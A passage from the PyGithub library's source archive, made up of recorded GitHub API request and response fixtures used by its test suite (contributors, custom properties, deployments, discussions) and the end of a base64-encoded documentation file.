\nYGdldF90ZWFtcygpYDogYFBhZ2luYXRlZExpc3RgIG9mIGBUZWFtYAoKV2F0\nY2hlcnMKLS0tLS0tLS0KKiBgZ2V0X3dhdGNoZXJzKClgOiBgUGFnaW5hdGVk\nTGlzdGAgb2YgYE5hbWVkVXNlcmAKCkNsYXNzIGBSZXBvc2l0b3J5S2V5YAo9\nPT09PT09PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoq\nIGBpZGA6IGludGVnZXIKKiBga2V5YDogc3RyaW5nCiogYHRpdGxlYDogc3Ry\naW5nCiogYHVybGA6IHN0cmluZwoqIGB2ZXJpZmllZGA6IGJvb2wKCkRlbGV0\naW9uCi0tLS0tLS0tCiogYGRlbGV0ZSgpYAoKTW9kaWZpY2F0aW9uCi0tLS0t\nLS0tLS0tLQoqIGBlZGl0KCBbdGl0bGUsIGtleV0gKWAKICAgICogYHRpdGxl\nYDogc3RyaW5nCiAgICAqIGBrZXlgOiBzdHJpbmcKCkNsYXNzIGBUYWdgCj09\nPT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgY29tbWl0YDog\nYENvbW1pdGAKKiBgbmFtZWA6IHN0cmluZwoqIGB0YXJiYWxsX3VybGA6IHN0\ncmluZwoqIGB6aXBiYWxsX3VybGA6IHN0cmluZwoKQ2xhc3MgYFRlYW1gCj09\nPT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGlkYDogaW50\nZWdlcgoqIGBtZW1iZXJzX2NvdW50YDogaW50ZWdlcgoqIGBuYW1lYDogc3Ry\naW5nCiogYHBlcm1pc3Npb25gOiBzdHJpbmcKKiBgcmVwb3NfY291bnRgOiBp\nbnRlZ2VyCiogYHVybGA6IHN0cmluZwoKRGVsZXRpb24KLS0tLS0tLS0KKiBg\nZGVsZXRlKClgCgpNZW1iZXJzCi0tLS0tLS0KKiBgYWRkX3RvX21lbWJlcnMo\nIG1lbWJlciApYAogICAgKiBgbWVtYmVyYDogYE5hbWVkVXNlcmAKKiBgZ2V0\nX21lbWJlcnMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgTmFtZWRVc2VyYAoq\nIGBoYXNfaW5fbWVtYmVycyggbWVtYmVyIClgOiBib29sCiAgICAqIGBtZW1i\nZXJgOiBgTmFtZWRVc2VyYAoqIGByZW1vdmVfZnJvbV9tZW1iZXJzKCBtZW1i\nZXIgKWAKICAgICogYG1lbWJlcmA6IGBOYW1lZFVzZXJgCgpNb2RpZmljYXRp\nb24KLS0tLS0tLS0tLS0tCiogYGVkaXQoIG5hbWUsIFtwZXJtaXNzaW9uXSAp\nYAogICAgKiBgbmFtZWA6IHN0cmluZwogICAgKiBgcGVybWlzc2lvbmA6IHN0\ncmluZwoKUmVwb3MKLS0tLS0KKiBgYWRkX3RvX3JlcG9zKCByZXBvIClgCiAg\nICAqIGByZXBvYDogYFJlcG9zaXRvcnlgCiogYGdldF9yZXBvcygpYDogYFBh\nZ2luYXRlZExpc3RgIG9mIGBSZXBvc2l0b3J5YAoqIGBoYXNfaW5fcmVwb3Mo\nIHJlcG8gKWA6IGJvb2wKICAgICogYHJlcG9gOiBgUmVwb3NpdG9yeWAKKiBg\ncmVtb3ZlX2Zyb21fcmVwb3MoIHJlcG8gKWAKICAgICogYHJlcG9gOiBgUmVw\nb3NpdG9yeWAKCkNsYXNzIGBVc2VyS2V5YAo9PT09PT09PT09PT09PT0KCkF0\ndHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBpZGA6IGludGVnZXIKKiBga2V5YDog\nc3RyaW5nCiogYHRpdGxlYDogc3RyaW5nCiogYHVybGA6IHN0cmluZwoqIGB2\nZXJpZmllZGA6IGJvb2wKCkRlbGV0aW9uCi0tLS0tLS0tCiogYGRlbGV0ZSgp\nYAoKTW9kaWZpY2F0aW9uCi0tLS0tLS0tLS0tLQoqIGBlZGl0KCBbdGl0bGUs\nIGtleV0gKWAKICAgICogYHRpdGxlYDogc3RyaW5nCiAgICAqIGBrZXlgOiBz\ndHJpbmcK\n","_links":{"git":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/07b170f1d3df085278aafbc49164178ba0df7d59","html":"https://github.com/PyGithub/PyGithub/blob/refs/heads/topic/ExperimentOnDocumentation/doc/ReferenceOfClasses.md","self":"https://api.github.com/repos/PyGithub/PyGithub/contents/doc/ReferenceOfClasses.md?ref=refs/heads/topic/ExperimentOnDocumentation"},"git_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/07b170f1d3df085278aafbc49164178ba0df7d59","sha":"07b170f1d3df085278aafbc49164178ba0df7d59","size":32406,"encoding":"base64","name":"ReferenceOfClasses.md"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetContributors.txt0000644000175100001660000000144114756101563025132 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/contributors {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4963'), ('content-length', '318'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"3ce61bc2417a6a4f7b47976a7969c711"'), ('date', 'Sun, 20 May 2012 12:10:52 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"contributions":355,"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetCustomProperties.txt0000644000175100001660000000333314756101563025766 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/properties/values {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 13 May 2024 21:00:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"d39e9221ff0274e6b4260ebe01423943de3f09687620a4b62d299d462060d53b"'), ('github-authentication-token-expiration', '2024-05-14 21:59:19 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'metadata=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1715634908'), ('X-RateLimit-Used', '23'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '83D4:892338:DB7F23C:718CED3:8FDE46FA')] [{"property_name":"foo","value":"bar"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetDeployments.txt0000644000175100001660000001124514756101563024743 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/deployments {'Accept': 'application/vnd.github.ant-man-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 26 Aug 2020 13:30:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"38512da93238689c49f6a4fab46c4650"'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', 'repo, repo_deployment'), ('X-GitHub-Media-Type', 'github.ant-man-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1598452199'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8774:5DBE:4951B1C:598D725:5F4663D8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/deployments/263877258","id":263877258,"node_id":"MDEwOkRlcGxveW1lbnQyNjIzNTE3NzY=","sha":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","ref":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","task":"deploy","payload":{"test":true},"original_environment":"test","environment":"test","description":"Test deployment","creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"created_at":"2020-08-26T11:44:53Z","updated_at":"2020-08-26T11:44:53Z","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments/263877258/statuses","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","transient_environment":true,"production_environment":false,"performed_via_github_app":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/deployments/262350588","id":262350588,"node_id":"MDEwOkRlcGxveW1lbnQyNjIzNTA1ODg=","sha":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","ref":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","task":"deploy","payload":{},"original_environment":"production","environment":"production","description":null,"creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"created_at":"2020-08-26T11:40:41Z","updated_at":"2020-08-26T11:40:41Z","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments/262350588/statuses","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","transient_environment":false,"production_environment":false,"performed_via_github_app":null}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetDiscussion.txt0000644000175100001660000002475514756101563024575 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 06 Nov 2024 16:42:38 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"3afadc6634ff667ccc0f7a4bac9e11272b6f61d3b092261e62c29520417f367e"'), ('Last-Modified', 'Wed, 06 Nov 2024 10:56:11 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1730914958'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'CA6A:1F06D9:152550C:155A549:672B9C7E')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-11-06T10:56:11Z","pushed_at":"2024-11-04T10:08:04Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16283,"stargazers_count":7020,"watchers_count":7020,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1786,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":351,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1786,"open_issues":351,"watchers":7020,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"PR_BODY","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"enabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1786,"subscribers_count":111} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $number: Int!) {\n repository(name: $repo, owner: $owner) {\n discussion(number: $number) { author { login } number title }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "number": 2205}} 200 [('Date', 'Wed, 06 Nov 2024 16:42:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1730914959'), ('X-RateLimit-Used', '1'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'CAAD:3C869D:15224B9:1557596:672B9C7F')] {"data":{"repository":{"discussion":{"author":{"login":"EnricoMi"},"number":2205,"title":"Is the PyGithub project dead? How can the community help?"}}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetDiscussions.txt0000644000175100001660000006500314756101563024747 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 17 Sep 2024 13:54:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c8e45d1a983f482b7c91fe66326bb90a746e7a7d4592af657e9f4076fc3c4466"'), ('Last-Modified', 'Tue, 17 Sep 2024 06:27:32 GMT'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4978'), ('X-RateLimit-Reset', '1726582607'), ('X-RateLimit-Used', '22'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FBA:1BAA22:E03E49:E21E67:66E98A05')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-09-17T06:27:32Z","pushed_at":"2024-09-12T10:47:45Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16092,"stargazers_count":6905,"watchers_count":6905,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1762,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":341,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License 